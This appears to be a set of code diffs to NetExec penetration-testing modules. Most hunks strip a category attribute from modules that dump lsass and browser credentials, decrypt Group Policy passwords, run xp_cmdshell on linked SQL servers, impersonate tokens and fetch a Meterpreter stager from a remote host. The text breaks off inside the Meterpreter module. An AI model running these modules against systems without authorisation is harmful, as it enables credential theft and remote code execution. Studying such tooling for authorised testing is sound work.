interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
context.log.error(f"Failed to connect to the target: {e!s}")
+1 -5
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server linked servers
@@ -10,7 +7,6 @@ class NXCModule:
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
@@ -29,7 +25,7 @@ class NXCModule:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
+5 -9
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
@@ -10,7 +7,6 @@ class NXCModule:
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
@@ -46,14 +42,14 @@ class NXCModule:
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
SELECT
name,
type,
type_desc,
CASE type_desc
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
@@ -65,7 +61,7 @@ class NXCModule:
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
-3
View File
@@ -1,6 +1,4 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -11,7 +9,6 @@ class NXCModule:
name = "enum_trusts"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
pass
+2 -4
View File
@@ -3,7 +3,6 @@ from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,8 +12,7 @@ class NXCModule:
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
def __init__(self):
self.context = None
@@ -23,7 +21,7 @@ class NXCModule:
self.limit = None
def options(self, context, module_options):
"""
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
-4
View File
@@ -1,5 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -11,7 +9,6 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
def __init__(self):
self.context = None
@@ -21,7 +18,6 @@ class NXCModule:
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
def on_login(self, context, connection):
"""Concurrent.
-4
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Execute commands on linked servers
@@ -10,7 +7,6 @@ class NXCModule:
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
-2
View File
@@ -1,4 +1,3 @@
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -16,7 +15,6 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
-2
View File
@@ -1,5 +1,4 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
@@ -13,7 +12,6 @@ class NXCModule:
name = "firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+1 -3
View File
@@ -1,6 +1,5 @@
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -12,9 +11,8 @@ class NXCModule:
"""
name = "get-desc-users"
description = "Get description of the users. May contain password"
description = "Get description of the users. May contained password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+1 -2
View File
@@ -1,4 +1,3 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -10,7 +9,6 @@ class NXCModule:
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
@@ -43,3 +41,4 @@ class NXCModule:
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
+2 -4
View File
@@ -10,7 +10,6 @@ from struct import unpack
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
@@ -69,7 +68,6 @@ class NXCModule:
name = "get-network"
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -83,12 +81,12 @@ class NXCModule:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
context.log.display("Could not parse ALL option.")
print("Could not parse ALL option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
context.log.display("Could not parse ONLY_HOSTS option.")
print("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
-2
View File
@@ -1,5 +1,4 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -13,7 +12,6 @@ class NXCModule:
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
-2
View File
@@ -1,5 +1,4 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -13,7 +12,6 @@ class NXCModule:
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
-2
View File
@@ -1,6 +1,5 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
import json
@@ -15,7 +14,6 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
-2
View File
@@ -1,6 +1,5 @@
import xml.etree.ElementTree as ET
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,7 +11,6 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
+4 -7
View File
@@ -3,7 +3,6 @@ from Cryptodome.Cipher import AES
from base64 import b64decode
from binascii import unhexlify
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -15,21 +14,19 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
""" """
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
sysvol,
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
@@ -44,7 +41,7 @@ class NXCModule:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
-2
View File
@@ -2,7 +2,6 @@ import ssl
import ldap3
import re
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,7 +13,6 @@ class NXCModule:
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
+1 -3
View File
@@ -1,6 +1,5 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,7 +13,6 @@ class NXCModule:
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
primaryGroupID = ""
answers = []
@@ -37,7 +35,7 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
-2
View File
@@ -1,7 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -16,7 +15,6 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
-2
View File
@@ -7,7 +7,6 @@ import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from pypykatz.pypykatz import pypykatz
@@ -15,7 +14,6 @@ class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
-2
View File
@@ -8,7 +8,6 @@ from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
from nxc.helpers.misc import CATEGORY
credentials_data = []
found_users = []
@@ -131,7 +130,6 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
-2
View File
@@ -1,7 +1,6 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -10,7 +9,6 @@ class NXCModule:
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
+4 -5
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -11,10 +8,12 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
pass
def options(self, context, module_options):
"""No options available"""
pass
def on_admin_login(self, context, connection):
self.check_appcmd(context, connection)
-2
View File
@@ -7,7 +7,6 @@ from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH
@@ -15,7 +14,6 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
-2
View File
@@ -1,14 +1,12 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
-2
View File
@@ -7,14 +7,12 @@ from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
-2
View File
@@ -1,5 +1,4 @@
from csv import reader
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,7 +12,6 @@ class NXCModule:
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.search_type = "ALL"
-2
View File
@@ -5,7 +5,6 @@ from csv import reader
from base64 import b64encode
from io import BytesIO, StringIO
from xml.etree import ElementTree as ET
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
from nxc.paths import TMP_PATH
@@ -22,7 +21,6 @@ class NXCModule:
name = "keepass_trigger"
description = "Set up a malicious KeePass trigger to export the database in cleartext."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
-2
View File
@@ -1,7 +1,6 @@
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.protocols.ldap.laps import LAPSv2Extract
@@ -18,7 +17,6 @@ class NXCModule:
name = "laps"
description = "Retrieves all LAPS passwords which the account has read permissions for."
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
+7 -9
View File
@@ -13,7 +13,6 @@ from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import contextlib
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -26,7 +25,6 @@ class NXCModule:
name = "ldap-checker"
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available."""
@@ -81,10 +79,10 @@ class NXCModule:
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
@@ -111,7 +109,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
@@ -140,7 +138,7 @@ class NXCModule:
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
@@ -169,9 +167,9 @@ class NXCModule:
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
context.log.fail("[REMOVED] Now natively supported in the host banner")
return
@@ -257,4 +255,4 @@ class NXCModule:
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
-4
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked MSSQL server
@@ -10,7 +7,6 @@ class NXCModule:
name = "link_enable_cmdshell"
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.action = None
+2 -6
View File
@@ -1,6 +1,3 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
@@ -10,7 +7,6 @@ class NXCModule:
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.linked_server = None
@@ -35,14 +31,14 @@ class NXCModule:
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
result = self.mssql_conn.sql_query(query)
if result:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
self.context.log.success("Executed command via linked server")
for line in output_lines:
-89
View File
@@ -1,89 +0,0 @@
from io import BytesIO
import pefile
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for detecting Windows lock screen backdoors
Module by @E1A
"""
name = "lockscreendoors"
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
# List of exe names with expected descriptions
self.expected_descriptions = {
"utilman.exe": ["Utility Manager"],
"narrator.exe": ["Screen Reader", "Narrator"],
"sethc.exe": ["Accessibility shortcut keys"],
"osk.exe": ["Accessibility On-Screen Keyboard"],
"magnify.exe": ["Microsoft Screen Magnifier"],
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
"displayswitch.exe": ["Display Switch"],
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
}
# If description matches one of these it's almost certainly backdoored
self.backdoor_descriptions = [
"Windows Command Processor",
"Windows PowerShell"
]
def options(self, context, module_options):
"""No options available"""
def get_description(self, binary_data):
# Extract the file description from version info
try:
pe = pefile.PE(data=binary_data, fast_load=True)
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
for fileinfo in pe.FileInfo:
for entry in fileinfo:
if entry.Key.decode() == "StringFileInfo":
for st in entry.StringTable:
desc = st.entries.get(b"FileDescription")
if desc:
return desc.decode().strip()
except Exception as e:
self.context.log.debug(f"Failed to extract PE info: {e}")
return None
def on_admin_login(self, context, connection):
target_path = "\\Windows\\System32"
tampered = False
for exe, expected_descs in self.expected_descriptions.items():
try:
# Grab the binary from the share
buf = BytesIO()
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
binary = buf.getvalue()
# Extract and normalize the file description
file_desc = self.get_description(binary)
if not file_desc:
context.log.fail(f"{exe}: could not extract FileDescription")
continue
# Check if the description is as expected
if file_desc not in expected_descs:
tampered = True
if file_desc in self.backdoor_descriptions:
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
else:
if len(expected_descs) == 1:
expected_str = f"'{expected_descs[0]}'"
else:
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
expected_str = f"one of: {expected_str}"
context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
except Exception as e:
context.log.debug(f"Failed to process {exe}: {e}")
if not tampered:
context.log.display("All lock screen executable descriptions are consistent with the expected values")
+2 -77
View File
@@ -4,57 +4,30 @@
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import os
import sys
from lsassy.dumper import Dumper
from lsassy.impacketfile import ImpacketFile
from lsassy.parser import Parser
from lsassy.session import Session
from impacket.krb5.ccache import CCache
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.method = None
self.dump_tickets = True
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
self.ticket_type = "ccache"
def options(self, context, module_options):
"""
METHOD Method to use to dump lsass.exe with lsassy
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
SAVE_DIR Directory to save dumped tickets
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
"""
"""METHOD Method to use to dump lsass.exe with lsassy"""
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "DUMP_TICKETS" in module_options:
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
if "SAVE_DIR" in module_options:
self.save_dir = module_options["SAVE_DIR"]
if "SAVE_TYPE" in module_options:
self.ticket_type = module_options["SAVE_TYPE"]
if self.ticket_type not in ["kirbi", "ccache"]:
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
sys.exit(1)
def on_admin_login(self, context, connection):
host = connection.host
domain_name = connection.domain
@@ -94,6 +67,7 @@ class NXCModule:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
@@ -110,9 +84,6 @@ class NXCModule:
if credentials is None:
credentials = []
if self.dump_tickets and tickets:
self.write_tickets(context, tickets, host)
for cred in credentials:
c = cred.get_object()
context.log.debug(f"Cred: {c}")
@@ -145,52 +116,6 @@ class NXCModule:
context.log.debug("Calling process_credentials")
self.process_credentials(context, connection, credentials_output)
def write_tickets(self, context, tickets, host):
if not tickets:
context.log.display("No Kerberos tickets found")
return
if not os.path.exists(self.save_dir):
try:
os.makedirs(self.save_dir)
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
except Exception as e:
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
return
ticket_count = 0
for ticket in tickets:
for filename in ticket.kirbi_data:
try:
base_filename = filename.split(".kirbi")[0]
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
kirbi_data = ticket.kirbi_data[filename]
if self.ticket_type == "ccache":
ccache = CCache()
ccache.fromKRBCRED(kirbi_data.dump())
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
ticket_content = ccache.getData()
else:
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
ticket_content = kirbi_data.dump()
ticket_path = os.path.join(self.save_dir, ticket_filename)
with open(ticket_path, "wb") as f:
f.write(ticket_content)
ticket_count += 1
context.log.debug(f"Saved ticket: {ticket_filename}")
except Exception as e:
context.log.fail(f"Error writing ticket {filename}: {e}")
if ticket_count > 0:
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
else:
context.log.display("No tickets were saved")
def process_credentials(self, context, connection, credentials):
if len(credentials) == 0:
context.log.display("No credentials found")
+8 -14
View File
@@ -1,11 +1,9 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from pyasn1.error import PyAsn1Error
class NXCModule:
"""
Module by Shutdown and Podalirius
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
@@ -16,21 +14,17 @@ class NXCModule:
"""
def options(self, context, module_options):
"""No options available"""
pass
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail("No LDAP entries returned.")
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
+3 -5
View File
@@ -1,13 +1,11 @@
from masky import Masky
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "masky"
description = "Remotely dump domain user credentials via an ADCS and a KDC"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
@@ -81,8 +79,8 @@ class NXCModule:
pwned_users = 0
for user in rslts.users:
if user.nt_hash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}")
if user.nthash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
self.process_credentials(connection, context, user)
pwned_users += 1
@@ -98,7 +96,7 @@ class NXCModule:
"hash",
user.domain,
user.name,
user.nt_hash,
user.nthash,
pillaged_from=host,
)
add_user_bh(user.name, user.domain, context.log, connection.config)
+4 -6
View File
@@ -1,5 +1,4 @@
from sys import exit
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -11,7 +10,6 @@ class NXCModule:
name = "met_inject"
description = "Downloads the Meterpreter stager and injects it into memory"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.rand = None
@@ -27,7 +25,7 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
@@ -62,14 +60,14 @@ class NXCModule:
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
